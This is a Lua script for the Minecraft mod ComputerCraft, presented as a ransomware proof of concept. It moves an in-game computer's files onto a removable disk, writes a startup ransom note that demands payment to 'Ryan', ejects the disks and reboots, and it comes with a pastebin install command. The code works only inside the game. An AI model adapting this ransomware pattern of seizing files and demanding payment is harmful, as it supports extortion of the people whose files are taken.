[LUA] Ryan's ComputerCraft "Ransomware" POC

-- Custom Ransomware v2 by SmilerRyan Install to your pocket computer on /startup
-- Can carry around and explore files, bypasses infection of pocket devices.
-- Install Command: pastebin get V7h6nzHv /startup


if pocket then
  if term.isColor() then
    term.setTextColor(colors.yellow)
  end

  if fs.isDir("/r") then
    print("Pocket, backup Exists");
  else
    print("Pocket, No backup found");
  end

return
end

if  term.isColor() then
  term.setBackgroundColor(colors.red)
  term.setTextColor(colors.black)
end

shell.run("clear")

print("Moving Files...")

if fs.isDir("/disk/r") then
  fs.delete("/startup")
  local ignore={["disk"]=true,["rom"]=true}
  for _, filename in ipairs(fs.list("/disk/r")) do
    if not ignore[filename] then
      fs.move("/disk/r/"..filename, "/"..filename)
    end
  end
  fs.delete("/disk/r")
else
  fs.makeDir("/disk/r");
  local ignore={["disk"]=true,["rom"]=true}
  for _, filename in ipairs(fs.list("")) do
    if not ignore[filename] then
              fs.move(filename, "/disk/r/"..filename)
    end
  end
  file = fs.open("/startup", "w")
  file.writeLine('if    term.isColor() then')
  file.writeLine('term.setBackgroundColor(colors.red)')
  file.writeLine('term.setTextColor(colors.black)')
  file.writeLine('end')
  file.writeLine('term.clear()')
  file.writeLine('print("Note:")')
  file.writeLine('print("Your files on this computer have been removed!")')
  file.writeLine('print("The files can recovered if you follow the steps.")')
  file.writeLine('print("")')
  file.writeLine('print("Failure to follow these steps results in")')
  file.writeLine('print("losing these files. If you can\'t pay, remove this message:")')
  file.writeLine('print("")')
  file.writeLine('print("rm /startup")')
  file.writeLine('print("reboot")')
  file.writeLine('print("")')
  file.writeLine('print("Recovery Instructions:")')
  file.writeLine('print("Send a message to Ryan, pay the amount asked and wait for your disk (insert disk and reboot).")')
  file.writeLine('print("")')
  file.writeLine('print("Press any key to continue...")')
  file.writeLine('os.pullEvent("key")');
  file.writeLine('if    term.isColor() then');
  file.writeLine('term.setBackgroundColor(colors.black)');
  file.writeLine('term.setTextColor(colors.yellow)');
  file.writeLine('end');
  file.writeLine('shell.run("clear")');
  file.writeLine('print(os.version())');
  file.close()
end
sleep(0)
disk.eject("top")
disk.eject("bottom")
disk.eject("left")
disk.eject("right")
disk.eject("back")
disk.eject("front")
os.reboot()